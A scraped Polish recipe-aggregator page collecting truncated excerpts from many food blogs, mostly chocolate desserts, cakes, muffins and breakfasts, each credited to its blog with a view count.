budyń dyniowy z gorzką czekoladą~ PRZEPIS /1 porcja śniadaniowa lub 2 deserowe/ ~350ml mleka (u mnie roślinne) ~125ml wody ~100g puree z dyni ~15g mąki z tapioki Fresano ~czubata łyżka mąki pszennej ~cukier/stevia do smaku ~starta gorzka czekolada do podania lub inne ulubione dodatki Wymieszać mleko i wodę, odlać ok. 1/3 szklanki. Do pozostałego płynu dodać puree i zagotować. Następnie

breakfast of dreams
.872. gryka w nowym wydaniu 177

płatki gryczane z malinami, prażonymi wiórkami kokosowymi i czekoladą słodzoną ksylitolem ~ Mama ostatnio kupiła sobie płatki gryczane, a ja pomyślałam, że jej trochę podkradnę i je wypróbuję. Szczerze mówiąc smakują tak samo jak kasza, są jedynie trochę bardziej delikatne :) Wczoraj popołudniu odebrałam paczkę z naturalnaspizarnia.pl . Więcej o tym sklepie pisałam tutaj - zapraszam do poczytania , oraz na oficjalną stronę sklepu gdzie(...)pełną ofertą. W swojej paczce znalazłam: kaszkę ryżowo-kukurydzianą , oliwę z oliwek extra vergin , bulion wołowy (którego z wiadomych przyczyn niestety nie użyję...), syrop z agawy oraz ciemną czekoladę słodzoną ksylitolem

breakfast of dreams
.946. czas otworzyć 139

kawowy sernik gotowany z fińską mleczną czekoladą~ Ogólnie mlecznej czekolady nie jem, ale dla tej robię wyjątek ♥ Zostałam nią poczęstowana w Finlandii i od razu wiedziałam, że będę musiała przywieść ją do Polski! Jest obłędna i dosłownie rozpływa się w ustach ♥ Aczkolwiek tak słodka, że do końca dnia mi słodkości wystarczy :D Są tu fani serników? Myślę, że na pewno

breakfast of dreams
.947. uzależniająca... 109

kasza kukurydziana na mleku sojowym gotowana z jabłkiem, podana z resztą jabłka i fińską mleczną czekoladą~  Czegoś mi brakowało w tym śniadaniu...Nie wiedziałam, co dodać do kaszki oprócz jabłka. Otwieram szafkę - od razu mój wzrok powędrował na tę czekoladę! I problem z głowy :D Znów poranne zasłodzenie - ale czasami trzeba się zasłodzić, żeby choć na chwilę zapomnieć

breakfast of dreams
.972. kwaśśśśnie & (mini) fotorelacja z warsztatów kuchni wegańskiej 107

gotowany jogurt rabarbarowo-waniliowy z ciemną fińską czekoladą~ Dzisiaj Ogólnopolski Tydzień Wegetarianizmu dobiega końca (dla mnie jednak trwa dalej :)) więc idealnie wpasuję się z obiecaną wcześniej relacją z warsztatów kuchni wegańskiej które odbyły się właśnie w ramach Tygodnia Wegetarianizmu. Warsztaty odbyły się w (jedynej) wegańskiej restauracji w moim mieście, która powstała zresztą nie tak dawno, a już zyskała sympatię wielu(...)ciekawych osób :) Ale do rzeczy - przygotowaliśmy 5 dań , były to: kotlety z kaszy jaglanej (z marchewką, sezamem i słonecznikiem), pasta z groszku, smoothie bananowo-pomarańczowo-szpinakowe, muffiny bananowe z czekoladą, carpaccio z buraka. Wszystkie potrawy bardzo mi smakowały, najciekawsze dla mnie było carpaccio :) Musze jeszcze powiedzieć jedno - a mianowicie, że zabrałam ze sobą Mamę, której również warsztaty bardzo się podobały

breakfast of dreams
NAJLEPSZE CIASTO NA ŚWIECIE? BROWNIE! 143

mianem najlepszego ciasta jakie kiedykolwiek jedli , a ja w zupełności się z nimi zgadzam! tylko   tyle mi zostało do zdjęcia! BROWNIE przepis z tego bloga // forma 18x18cm ~100g czekolady gorzkiej, dobrej jakości ~75g masła ~3/4 szklanki cukru  ~szczypta soli ~1 łyżeczka ekstraktu waniliowego ~2 duże jajka ~1/3 szklanki mąki pszennej ~1 czubata łyżka ciemnego kakao    opcjonalnie(...)maliny Czekoladę i masło rozpuścić w kąpieli wodnej. Dodać cukier, wymieszać i odstawić na 2 minuty, następnie wymieszać z ekstraktem waniliowym (jak to pachnie! <3). Do masy dodać jajka, jedno po drugim. W osobnej misce wymieszać mąkę, sól i kakao. Wmieszać w masę czekoladową. Ciasto przelać do formy 18x18cm wyłożonej papierem do pieczenia.  Na ciasto wysypać równomiernie maliny

chili & sugar
CZEKOLADOWE CIASTO Z CUKINII - JAK BROWNIE! 445

macie to nie dawajcie aromatów, bo tylko popsują ciasto) ~łyżeczka świeżo zmielonej kawy ~3 duże jajka ~350g cukinii startej na dużych oczkach tarki (razem ze skórką) ~50g gorzkiej czekolady Masło rozpuścić. W jednej misce połączyć składniki suche (mąkę, kakao, sodę oczyszczoną, proszek do pieczenia i sól). W drugiej utrzeć masło z fruktozą / cukrem, ekstraktem waniliowym i kawą, następnie, cały czas(...)ucierając, pojedynczo dodawać jajka. 2/3 mąki dodać do masy jajecznej, wymieszać delikatnie, do połączenia składników. Do pozostałej 1/3 dodać cukinię i pokrojoną w kostkę czekoladę, wymieszać. Połączyć z pozostałym ciastem, mieszać do połączenia składników. Tortownicę o średnicy 22cm wyłożyć papierem do pieczenia i wylać ciasto. Wstawić do piekarnika uprzednio nagrzanego do 180*C i piec ok. 40min. Smacznego! Ten przepis

chili & sugar
DOMOWA NUTELLA 163

bazowałam na tym przepisie // z podanych proporcji wychodzi trochę ponad połowa średniego słoiczka po oryginalnej Nutelli ~50g orzechów laskowych ~15g (czubata łyżka) mleka w proszku ~60ml mleka UHT ~75g czekolady o zawartości kakao 45-60% Orzechy podprażyć na patelni, uprażone zawinąć w ściereczkę i zdjąć z nich skórki. Jeśli będziecie mieć z tym problemy zalejcie(...)mielimy na mąkę (mój mikser nie do końca sobie z nimi poradził, przez co w kremie są malutkie kawałeczki niezmielonych orzechów, ale mi to wcale nie przeszkadza, wręcz przeciwnie :)). Czekoladę łamiemy na kawałki i rozpuszczamy w kąpieli wodnej/mikrofalówce, łączymy ją ze zmielonymi orzechami. Mleko w płynie łączymy w garnuszku z mlekiem w proszku i zagotowujemy, po czym natychmiast zdejmujemy

chili & sugar
bajaderki, ciasteczka z ciasta 180

opcjonalnie), masło i kakao zagotować razem. Przestudzić i dodać do okruchów ciasta, dodać pozostałe składniki i wymieszać. Wszystko ugnieść na jednolitą, zwartą masę. Z masy formować kulki. ~100g białej czekolady ~2 łyżki masła Czekoladę i masło rozpuścić razem. Polewą polać bajaderki i odstawić do zastygnięcia polewy. Smacznego! :) Wartość odżywcza jednego ciastka

chili & sugar
piernik staropolski (dojrzewający) - etap II, III i IV 159

przepis na blogu!!! :) :) :) PIERNIK STAROPOLSKI ETAP II, III i IV blacha 20x25cm ~ dojrzałe ciasto na piernik staropolski ~ ok. 400g powideł śliwkowych (kwaskowatych), użyłam domowych ~ 150g gorzkiej czekolady (+opcjonalnie kilka łyżek mleka/śmietanki/masła)    ew. jeszcze jakaś dodatkowe składniki na dekoracje - bakalie, cukrowe gwiazdki, lukier itp. :) Ok. 5-6 dni przed Wigilią (najlepiej 18-19 grudnia) Ciasto dzielimy(...)kładziemy drewnianą deskę (taką np. do krojenia chleba) na niej kładziemy płasko dwa kg opakowania mąki i pozostawiamy obciążony piernik na 1-2 dni. Dzień przed Wigilią (23 grudnia) Czekoladę (i opcjonalnie mleko/śmietankę/masło) rozpuszczamy w kąpieli wodnej i dekorujemy nią piernik. Można również dodatkowo udekorować go innymi dodatkami, będzie jeszcze piękniejszy :) Ja wybrałam jedynie srebrne glicerynowe kuleczki

chili & sugar
podrasuj swoje masło orzechowe! 4 nowe smaki! 129

składniki  :) Smacznego! MASŁO ORZECHOWE CYNAMONOWO-RODZYNKOWE  ~200g masła orzechowego ~20g rodzynek ~1-2 łyżeczki cynamonu (zależy od gustu) Wymieszać wszystkie składniki :) Smacznego! MASŁO ORZECHOWE Z KAWAŁKAMI CZEKOLADY ~200g masła orzechowego ~25g posiekanej gorzkiej czekolady (lub lepiej - groszków czekoladowych) Wymieszać wszystkie składniki :) Smacznego! MASŁO ORZECHOWE KOKOSOWE ~200g masła orzechowego ~3 łyżki wiórków kokosowych Wiórki kokosowe podprażyć lekko

chili & sugar
ciasto "śliwkowo-kawowa furora" 194

dodajemy śmietan-fixy i ubijamy na sztywno. Pod koniec ubijania dodajemy do smaku cukier puder i kawę. Następnie dodajemy posiekane suszone śliwki i mieszamy szpatułką. Dekorujemy ciasto polewą: ~100g czekolady deserowej ~2 łyżki masła ~2 garści orzechów włoskich (do kupienia w OWOCOWY RAJ - KLIK ) Czekoladę i masło rozpuszczamy w kąpieli wodnej i odstawiamy do ostudzenia (nie można polać ciasta gorącą

chili & sugar
czekoladowa niedziela #12 - czekoladowy krem z...ciecierzycy! (wegański) 196

mnie do lodówki po krem z ciecierzycy ;) CZEKOLADOWY KREM Z CIECIERZYCY przepis autorski // średni słoik kremu ~200g ugotowanej ciecierzycy (może być z puszki) ~50g syropu z agawy ~50g gorzkiej czekolady 60% Goplana ~1-2 łyżki kakao naturalnego ~60ml mleka roślinnego Czekoladę roztapiany na parze. W misie blendera umieszczamy wszystkie składniki i miksujemy je na gładką masę. Przekładamy krem do słoika

chili & sugar
Kostka czekoladowo-kawowa 158

nią dzieci. Składniki: Ciasto: 5 jajek 2 czubate łyżki śmietany 18% 20 dag mąki tortowej 15 dag masła 10 dag cukru 10 dag cukru brązowego trzcinowego 1/2 tabliczki gorzkiej czekolady 50 ml naparu kawowego-razem z fusami 1 łyżka ciemnego kakao 3 łyżki mleka 3,2% 1 płaska łyżeczka proszku do pieczenia 1/2 łyżeczki sody Dodatkowo: polewa czekoladowa wiórki kokosowe(...)białe Sposób przygotowania: W rondelku rozpuszczamy masło, dodajemy połamaną na kawałki czekoladę oraz kakao, mieszamy aż wszytko się rozpuści, jajka ubijamy z cukrami na puszystą gęstą masę, dodajemy śmietanę chłodny napar z kawy oraz mleko, delikatnie miksujemy, po chwili dodajemy masę czekoladową, zmniejszając obroty miksera do minimum wsypujemy po łyżce mąki zmieszanej z proszkiem i sodą. Tak przygotowane ciasto wylewamy

Wanilia i Kardamon
Kokosowe muffinki z orzechowym ciasteczkiem 127

wiórków kokosowych 6 łyżek jogurtu naturalnego 2 łyżki mleka * 2 jajka 120 g masła 12 ciasteczek (u mnie orzechowe ale mogą być każde inne z nadzieniem) Polewa: 100 g czekolady 1 łyżka masła wiórki kokosowe * ciasto wychodzi bardzo gęste wiec dodałam więcej mleka (koło 5-6 łyżek) Masło roztopić w rondelku i odstawić do wystudzenia. Wymieszać ze sobą suche składniki(...)suchych i dokładnie wymieszać. Formę na muffinki wyłożyć papilotkami i wlać po łyżce ciasta. Poukładać ciasteczka i przykryć pozostałym ciastem. Muffinki piec w temperaturze 180 stopni przez 25 minut. Czekoladę wraz z masłem roztopić w kąpieli wodnej. Posmarować nią wystudzone muffinki i posypać wiórkami kokosowymi

My simple kitchen
Koktajl bananowo - czekoladowy 102

łudzę, że może anuż ktoś się pokusi o taką kombinację smakową;) A sam koktajl to dobra opcja na posiłek po treningu. Składniki: 1 banan szklanka mleka 2 kostki gorzkiej czekolady Banana zmiskować z mlekiem. Wymieszać z posiekaną czekoladą. I to już cała filozofia :) Na punkcie tej piosenki wprost oszalałam. A gdy jej nuty popłynęły w uszach podczas biegania, moje nogi

My simple kitchen
Muffinki cukiniowo - czekoladowe 81

sody oczyszczonej 1/4 łyżeczki proszku do pieczenia 1/4 łyżeczki soli szklanka cukru (niepełna) 3/4 szklanki oleju 1 duże jajko 1 szklanka startej na oczkach cukinii 50 g posiekanej gorzkiej czekolady mleko* Do jednej miski wsypujemy składniki suche: mąkę, cukier, kakao, cynamon, sodę, proszek i sól. W drugiej misce mieszamy ze sobą składniki mokre: jajko i olej. Następnie mieszamy ze sobą(...)zawartość obu misek i dodajemy czekoladę i cukinię. Ciastem napełniamy foremki do 2/3 wysokości i pieczemy około 30 minut w temperaturze 180 stopni (do suchego patyczka). * Ciasto wychodzi bardzo gęste, więc ja dolałam trochę mleka (1/4 szklanki). Muffinki dodaję do akcji

My simple kitchen
Mięciutkie ciasteczka dyniowe z czekoladą 125

soli 1/3 łyżeczki proszku do pieczenia 1/3 łyżeczki sody 1 i 1/2 łyżeczki cynamonu 1/4 łyżeczki gałki muszkatałowej 1/4 łyżeczki mielonych goździków 1/4 łyżeczki imbiru 50 g posiekanej gorzkiej czekolady Masło roztapiamy i odstawiamy do przestudzenia. W misce łączymy ze sobą mąkę, cukier, proszek sodę i wszystkie przyprawy. Dodajemy roztopione masło i puree dyniowe. Wszystko dokładnie mieszamy. Na końcu dodajemy(...)posiekaną czekoladę i ponownie mieszamy. Ciasto wstawiamy do lodówki na minimum 30 minut (najlepiej na 2-3 godziny). Blaszkę wykładamy papierem do pieczenia i za pomocą łyżeczki formujemy małe ciasteczka. Układamy je w odstępach na blaszce, gdyż w trakcie pieczenia znacznie urosną. Ciastka pieczemy w piekarniku nagrzanym do 180 stopni przez 10 minut. WAŻNE: przed zdjęciem ciastek z blachy należy

My simple kitchen
Deser lodowy z karmelizowanymi bananami - Marcowe Wyzwanie Blogerek i Blogerów 159

brązowego cukru 1 łyżka śmietany kremówki lody waniliowo - czekoladowe bita śmietana (użyłam takiej w sprayu bo zalegała mi w lodówce - oczywiście możecie ubić śmietanę kremówkę z cukrem pudrem) starta czekolada advocat Na patelni rozpuszczamy masło i wsypujemy brązowy cukier. Mieszamy aż masa zacznie nabierać złoto-brązowego koloru. Następie wrzucamy banana pokrojonego w plasterki i obtaczamy go w karmelu. Dodajemy śmietankę(...)kleista. Na dno pucharków kładziemy po kleksie bitej śmietany.Na to wykładamy po dwie gałki lodów. Na lody kładziemy karmelizowane banany a na banany bitą śmietanę. Wierzch posypujemy startą czekoladą i olewamy odrobiną advocatu

My simple kitchen
Kawa mrożona 126

mamy wyjątkowo szybką przemianę materii i ta mała bomba kaloryczna nie pójdzie nam w tyłek;)) Składniki na 2 duże porcje 3 łyżeczki kawy rozpuszczalnej 3 kostki mlecznej (lub dowolnej) czekolady 4 gałki lodów waniliowo-czekoladowych mleko woda bita śmietana kostki lodu Kawę zalewamy 200 ml wrzątku i odstawiamy na chwilę. Do każdej szklanki dodajemy po 2 kulki lodów. Na lody(...)wlewamy zaparzoną kawę a następnie uzupełniamy mlekiem do 3/4 wysokości szklanki. Następnie dodajemy kilka kostek lodu. Całość wykańczamy bitą śmietaną i drobno pokrojoną czekoladą

My simple kitchen
Chlebek dyniowy z czekoladą 159

szklanki ciepłej wody 200 g puree dyniowego 1 łyżeczka cynamonu 3/4 łyżeczki gałki muszkatałowej 1/2 łyżeczki imbiru 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody szczypta soli 100 g czekolady  Jajka ubijamy z cukrem na puszystą masę. Następnie kolejno dodajemy, olej, wodę i puree dyniowe. Zmniejszamy obroty miksera i cały czas mieszając wsypujemy mąkę z proszkiem do pieczenia, sól(...)oraz przyprawy. Na końcu dodajemy posiekaną czekoladę. Ciasto przelewamy do formy nasmarowanej delikatnie tłuszczem i wstawiamy do piekarnika nagrzanego do 180 stopni. Pieczemy przez około godzinę

My simple kitchen
Babka z Michałkami 167

mojego M, który jest wielbicielem babek, nawinęło mi się na myśl ciasto z owymi cukierkami. Oczywiście, jeśli akurat w domu takowych nie posiadacie możecie je zastąpić dowolną tabliczką czekolady. Składniki: 250 g masła 200 g cukru 4 jajka 350 g mąki 1 cukier waniliowy 2 łyżeczki proszku do pieczenia 1/2 szklanki mleka 1 budyń waniliowy 200 g cukierków Michałki * cukier(...)puder lub polewa czekoladowa do dekoracji *cukierki można zastąpić dowolną czekoladą Masło ucieramy na miękki puch. Stopniowo wsypujemy cukier z cukrem waniliowym i miksujemy tak długo, aż kryształki cukru będą słabo wyczuwalne. Następnie dodajemy po jednym jajku. Nie przerywając mieszania wsypujemy partiami mąkę z budyniem oraz proszkiem do pieczenia i dolewamy po trochu mleka. Mieszamy aż ciasto będzie jednolite. Michałki

My simple kitchen
Czekoladowa polędwiczka 205

uzupełniają, nuty słodyczy przeplatają się z wytrawnymi,  rozmaryn  łączy je w całość, cynamon i kawa pięknie pachną i oczywiście smakują. :) Składniki: 2 polędwiczki wieprzowe 8 kostek gorzkiej czekolady 5 łyżek mocnego naparu z kawy 150 ml wina czerwonego wytrawnego łyżeczka cynamonu 3-4 gałązki  rozmarynu 1/2 kostki masła 3 szalotki, umyte i nieobrane 2 łyżki powideł śliwkowych(...)objętości.  Następnie dodajemy napar z kawy i cynamon. Wyciągamy rozmaryn. Dodajemy pół kostki masła i gotujemy na wolnym ogniu około 10 minut.  Na końcu dodajemy czekoladę i mieszamy.  Bon appetit

Garniec Magalie
Deser z musem rabarbarowym i bitą śmietaną 182

gorąco!!! SKŁADNIKI: 25 dag rabarbaru 1 opakowanie galaretki o smaku cytrynowym 4 łyżki cukru 1 szklanka śmietany 30% 1,5 łyżki cukru pudru 10 sztuk herbatników 2 kostki mlecznej czekolady truskawki i listki melisy do dekoracji PRZYGOTOWANIE: 1. Rabarbar obieram i kroję na mniejsze kawałki. Przekładam do garnka. Podlewam odrobiną wody i duszę na małym ogniu do momentu, aż się(...)Herbatniki kruszę i wsypuję na dno pucharków. Następnie nakładam porcję gęstego musu rabarbarowego. Na to porcję ubitej śmietany. Znów nakładam mus i śmietanę. Wierzch oprószam startą na tarce czekoladą i dekoruję truskawkami oraz listkami melisy

Tradycyjna kuchnia Kasi
Ciasto bez pieczenia na ciastkach 395

pieczenia, na bazie kakaowych ciasteczek Petit Beurre przekładane pysznym domowym musem jabłkowym , który przygotowałam w zeszłym roku w słoikach. Dodatkowo ciasto zostało posmarowane lukrem, obsypane siekanymi migdałami i czekoladą. Cud, miód, malina, to było bardzo pyszne, gotowe, ekspresowe ciasto, mój tata zajadał się nim i nawet nie zauważył, że to ciasto z gotowych ciasteczek Polecam, na serio! Każde ciastko przygotowywałam(...)ciasteczka również smarujemy musem, a potem lukrujemy (na 2 porcje wystarczy utrzeć 3 łyżki cukru pudru i 1 łyżką wody lub soku cytrynowego), obsypujemy wierzch siekanymi migdałami i wiórkami czekolady, zostawiamy tak przygotowane ciastka na 15 minut, aż ciastka zmiękną pod wpływem musu, ot i cały przepis     The post Ciasto bez pieczenia na ciastkach appeared first on Damsko

Damsko-męskie spojrzenie na kuchnię
Deser owocowy z bitą śmietaną i galaretką 147

śmietan fix) 2 łyżki cukru pudru 1 paczka ciasteczek zbożowych 2 galaretki (chodzi dwa różne kolory - przygotowujemy w połowie porcji wody, jaka jest na opakowaniu) mango borówki amerykańskie czekolada Śmietanę ubijamy z cukrem pudrem kilka minut na szybkich obrotach. Dodajemy glukozę (śmietan fix) i ubijamy do uzyskania odpowiedniej konsystencji. Ciasteczka kruszymy na małe kawałeczki. Galaretki kroimy w kostkę. Z mango(...)drylujemy kuleczki specjalną " łyżką". W pucharkach układamy warstwy. Na spód pokruszone ciasteczka, łyżka śmietany, galaretki, mango, bita śmietana, galaretki, mango, borówki. Na wierzchu posypujemy wiórkami z czekolady. Odstawiamy do lodówki,aby stężało. Smacznego

tojestpyszne.blogspot.com
Ciasto czekoladowe z burakami 135

zdążyłam zdjęcie zrobić:) Składniki: 2 szklanki mąki 1 szklanka cukru 2 łyżeczki sody 1 łyżeczka olejku wanilinowego 500 g buraków 3 jajka szczypta soli 200 g masła tabliczka gorzkiej czekolady cukier puder Przygotowanie: Zaczynamy od ugotowania buraków. Najlepiej wziąć 2-3 średniej wielkości buraki, wrzucić je go garnka z wodą i gotować ok godziny. Po tym czasie powinny być już(...)czekoladową. Miseczkę umieszczamy nad garnkiem z gotującą się wodą. Do miseczki wrzucamy masło i czekolade i czekamy aż wszystko się roztopi. Od czasu do czasu mieszamy. Gdy masło i czekolada się rozpuszczą dodajemy olejek wanilinowy i odkadamy do ostygniecia. Do zimnej masy czekoladowej dodajemy roztrzepane jajka i utarte buraki. Wszystko razem mieszamy. W drugiej misce mieszamy mąke, cukier sól

Kulinarna Patilogia
985. Zdrowsze pralinki ... z ciecierzycy. 152

Kokosowe pralinki z ciecierzycy z białą czekoladą*;  koktajl truskawkowy (ciecierzyca, mąka kokosowa,banan,biała czekolada, wiórki kokosowe) Takich jeszcze nie było u mnie :D Wiecie co? Jeszcze tylko miesiąc do wakacji

More food, love and dreams
Czekoladowo-truskawkowy deser z nasionami chia 179

deser - zróbcie go 4-5 godzin przed podaniem. Niestety - obawiam się, że wcześniej nie wyjdzie taki, jak powinien. Składniki (na 3-4 szklanki deseru): Część czekoladowa: 1/3 tabliczki czekolady (u mnie gorzka, ale mleczna też mogłaby się nadać) 1 szklanka mleka 3,2 % 3 łyżki nasion chia Część truskawkowa: 1/2 szklanki truskawek 1/2 szklanki mleka 1 łyżka cukru 3 łyżki(...)nasion chia Część czekoladowa W kąpieli wodnej rozpuszczamy czekoladę z dodatkiem mleka. Studzimy i po przestudzeniu dodajemy nasiona chia. Odstawiamy do lodówki na minimum 4 godziny. Część truskawkowa Mleko, cukier i truskawki umieszczamy w misie blendera i bardzo mocno rozdrabniamy. Dodajemy nasion chia, dokładnie mieszamy i odstawiamy do lodówki na minimum 4 godziny. Po wyjęciu z lodówki do szklanek dodajemy

Ewa Kuchennie - Kuchnia to serce domu!
Korsarz 190

maki 100 g cukru 15 dag miękkiego masła 3 łyżki miękkiego smalcu jajko 15g proszku do pieczenia 15g cukru waniliowego 3 czubate łyżki kakao mus czekoladowy: 200g czekolady gorzkiej 2 łyżki koniaku 4 łyżki wody mineralnej 30g masła 3 jajka 55g cukru 125 ml śmietanki oraz puszka masy kajmakowej 500g malin (można użyć również porzeczek, jeżyn lub wydrylowanych wiśni) Sposób(...)rumiano w temperaturze 190 stopni c przez około 30 minut. Ciasto studzimy. Na ciasto wykładamy równą warstwę masy kajmakowej a następnie owoce. Mus czekoladowy: W kąpieli wodnej rozpuszczamy czekoladę z dodatkiem koniaku i wody. Dodajemy masło i dokładnie ucieramy. Następnie dodajemy po jednym żółtku energicznie mieszając aż powstanie gładka masa. Odstawić do ostygnięcia. Białka ubijamy na sztywna pianę, dodając przed

Pyry na Gaz
Tiramisu' al marsala z czekoladą 185

podłużnych  biszkoptów 150 g serka mascarpone 2 jajka 1/2 szklanki  cukru 3/4  szklanki mocnej kawy 2-3 łyżki słodkiego wina Marsala 1/2 tabliczki  gorzkiej czekolady 2 łyżki słodkiej śmietanki czekoladki deserowe i posypka /do dekoracji Wykonanie: -Jajka dokładnie umyć i sparzyć. -Zaparzyć mocną kawę. -Żółtka oddzielić od białek i utrzeć z cukrem(...)naczynia. -Na biszkopty wyłożyć połowę kremu  mascarpone, przykryć  pozostałymi biszkoptami  nasączonymi w kawie. -Wyłożyć resztę kremu, wyrównać wierzch . -Deser wstawić na 1 godzinę do lodówki. -Czekoladę wraz ze śmietanką rozpuścić w kąpieli wodnej, wystudzić. -Schłodzony deser przed podaniem posypać czekoladową posypką , a na wierzchu ułożyć dekoracyjne kostki lub kulki czekoladowe. Talerzyki z deserem udekorować kremem czekoladowym

Zakamarki mojej kuchni
Biszkopt czekoladowy 100

Poniżej znajdziecie dokładne wskazówki :) Składniki na duży biszkopt 26 cm: (z tego odłożyłam ilość do małej foremki) 5 jajek 2/3 szklanki mąki 3/4 szklanki cukru  50 startej gorzkiej czekolady 1/3 kakao Białka ubić na sztywno, po łyżce dodać cukier podczas miksowania. Wlać żółtka i zmiksować. Mąkę przesiać z kakao i startą czekoladą. Wsypać do masy jajecznej i delikatnie wymieszać

Chocolate Muffin Blog
Waniliowe (wersja II) cupcakes z czekoladą i truskawkami 136

wrzucić do miski. Dodać masło i jaka, miksować ok. minuty. Dodać ekstrakt i mleko. Zmiksować.  Nałożyć do 3/4 wysokości. Piec ok. 20 minut. Studzić na kratce. Rozpuścić gorzką czekoladę w kąpieli wodnej. Odrobinę wystudzić i polać wystudzone babeczki. Położyć  połówki truskawek i polać czekoladą

Humanistka w kuchni
Muffinki z płatkami owsianymi, rodzynkami, słonecznikiem i czekoladą z orzechami 156

wypieczenia takich czekoladowych muffinek z ziarnami potrzebujemy: - 2,5 łyżeczki proszku do pieczenia - 1 jajko - 2 szklanki mąki (ja używam tortowej) - 1 szklanka mleka - sypkie kakao - 1 czekoladę z orzechami - garść rodzynek - pół szklanki płatków owisianych - 4 łyżeczki ziaren słonecznika - 1/2 szklanki oleju - 1/2 szklanki cukru Pierwsza miska: Mieszamy składniki: proszek do pieczenia + rodzynki + płatki owsiane + słonecznik + 2 szklanki mąki(...)sypie kakao (ok. 4 łyżeczek) + cukier + pokruszona czekolada (ja dodaje tak 3/4) Druga miska: Mieszkamy składniki: olej + mleko + jajko Drugą miskę wlewamy do pierwszej, już wymieszanej. Wszystko merdamy łyżką, nie za mocno, aby nie było idealnie wymieszane, bo wtedy muffinki nie wychodzą. Umieszczamy masę w papilotkach i w blaszce teflonowej na muffinki i pieczemy w 180stopniach, ok. 25minut. Sprawdzamy patyczkiem

upichcona
Cassata - Włoski tort z ricottą 323

śmietaną choć efekt nie będzie już aż tak spektakularny. Obowiązkowym elementem każdej cassaty jest duża ilość kandyzowanych owoców, w tym koniecznie skórki z limonki i pomarańczy oraz kawałków gorzkiej czekolady. Każda włoska cassata składa się z puszystego biszkoptu, dużej ilości serka ricotta z bakaliami oraz przemykającej gdzieniegdzie nuty włoskiego likieru Maraschino bądź Amaretto. Jest naprawdę przepyszna i warta każdej chwili(...)schłodzonej śmietany 36% 100 g cukru pudru 300 g owoców kandyzowanych (u mnie skórka z limonki i z pomarańczy, żurawina, morele, wiśnie) 100 g płatków z gorzkiej czekolady Owoce kandyzowane pokroić na mniejsze kawałki. Śmietanę ubić z cukrem pudrem na sztywno. Stopniowo dodawać serek ricotta cały czas ubijając. Delikatnie wmieszać do masy pokrojone owoce i płatki czekoladowe. Wstawić masę

maniapieczenia
Muffinki bananowe z czekoladą i orzechami 151

tortowej 125 g mąki pszennej pełnoziarnistej 2 jajka 1 łyżeczka proszku do pieczenia 1 łyżeczka sody 3 dojrzałe banany 125 ml oleju garść posiekanych orzechów włoskich 80 g gorzkiej czekolady, posiekanej 80 g cukru trzcinowego  Przygotować ciasto - w jednej misce wymieszać mąki, cukier, sodę i proszek. W innej zmiksować olej, jajka  rozgniecione widelcem banany. Składniki mokre wlać(...)suchych i szybko wymieszać, nie za długo. Dodać orzechy i czekoladę. Do silikonowych foremek lub papilotek ułożonych w formie ciasto. Na wierzchu położyć połówkę orzecha. Piec 30-35 minut w 180*C. Smacznego

Chocolate Muffin Blog
Słodkie Środy - Waniliowy sernik z nutą migdałową 165

być z wiaderka) 5 jajek 3/4 szklanki cukru pudru 1 laska wanilii 16 g cukru waniliowego 100 g masła  1 budyń waniliowy szczypta soli Polewa : 100 g gorzkiej czekolady 1 galaretka zielona 250 ml wrzącej wody PRZYGOTOWANIE : Przygotowujemy ciasto.  Na stolnicę przesiewamy mąkę, dodajemy cukier puder i proszek do pieczenia, mieszamy. Dodajemy żółtka, pokrojone masło, aromat migdałowy(...)stopni i pieczemy przez następne 65 minut.  Wyłączamy grzanie i zostawiamy sernik w uchylonym piekarniku.  Przygotowujemy polewę.  Galaretkę rozrabiamy w 250 ml wrzącej wody. Czekoladę rozpuszczamy w kąpieli wodnej, dodajemy galaretkę i mieszamy. Kiedy polewa przestygnie wylewamy na wierzch zimnego sernika.  Sernik wkładamy do lodówki na minimum 12 godzin

Kulinarny Świat Konczi i Szpileczki
Wigotne ciasto czekoladowe 475

prezentuję to efekt mojej pracy, z początków przygody z pieczeniem, kiedy to nawet ciasteczka biszkoptowe były sukcesem! Ciasto jest wilgotne, mocno czekoladowe i bardzo, bardzo słodkie. Polecam szczególnie amatorom czekolady :) Zdjęcie również pochodzi z początków mojej przygody, dlatego wybaczcie niedociągnięcia :)   Składniki : 340 g mąki pszennej 200 g cukru pudru 1 i 1/2 proszku do pieczenia 3/4 łyżeczki sody(...)grudki. Ciasto wyłożyć do tortownicy o średnicy 25 cm, wyłożonej papierem do pieczenia. Wyrównać. Piec 30-25 minut w 180*C. Wyjąć, wystudzić. Polewa : 150 g gorzkiej lub mlecznej czekolady 40 g masła Składniki umieścić w garnku i roztopić. Odczekać 10 minut i dokładnie wymieszać.  Wystudzone ciasto wyjąć z tortownicy. Polać polewą i rozprowadzić. Można udekorować cukrowymi ozdobami. Smacznego

Chocolate Muffin Blog
Kruche ciasteczka z czekoladą i solonymi orzeszkami 105

Sól zawarta w orzeszkach wzmacnia ich smak. Przepis pochodzi z mojej ulubionej książeczki :) Składniki : 300 g mąki pszennej 220 g masła, miękkiego 150 g cukry trzcinowego 90 g gorzkiej czekolady, posiekanej 60 g orzeszków ziemnych solonych 1 łyżeczka proszku do pieczenia 2 krople aromatu waniliowego 1/4 łyżeczki soli Masło utrzeć z cukrem i aromatem na jasną, puszystą masę. Dodać mąkę(...)proszek i sól i wyrobić. Można mikserem. Dodać posiekaną czekoladę i rozdrobnione orzeszki, Wymieszać.  Z ciasta odrywać kawałki, formować kulki wielkości orzecha włoskiego i spłaszczać. Układać na blaszce w 3 cm odstępach.  Piec 15-17 minut. Wyjąć, wystudzić. Smacznego

Chocolate Muffin Blog
Co zrobić gdy zwarzy się polewa czekoladowa? 2683

papka czekoladowa) to nic prostrzego jak dodać 2 łyżki GORĄCEJ WODY lub MLEKA, wstawić to następnie na lekki gaz i przez chwilę podgrzewać cały czas mieszając. Po chwili nasza czekolada odzyska wspaniałą, gładką konsystencje :) Proste? Wręcz banalnie proste! :) Osobiście polecam gorącą wodę, może z własnego widzi-mi-się, a może przez przekonanie, że skoro chcę gorzką czekoladę to nie chcę

Jedzeniomania
Czekoladowa bomba kaloryczna 73

śmietanki kremówki, 1 łyżeczka zmielonych przypraw korzennych, 2 żółtka, 2 łyżki cukru, 100 g czekolady, 10 ml brandy waniliowego, Żółtka (przed rozbiciem jajka sparzone) ubić z cukrem na kogel - mogel, ucierając dodać brandy. Śmietanę zagotować z przyprawami, zdjąć z ognia. Do żółtek dodać trochę gorącej śmietany, wymieszać i wlać do pozostałej śmietany. Cały czas mieszając wsypać posiekaną czekoladę i lekko

królestwo garów
Szybkie ciasto z jabłkami i rodzynkami 170

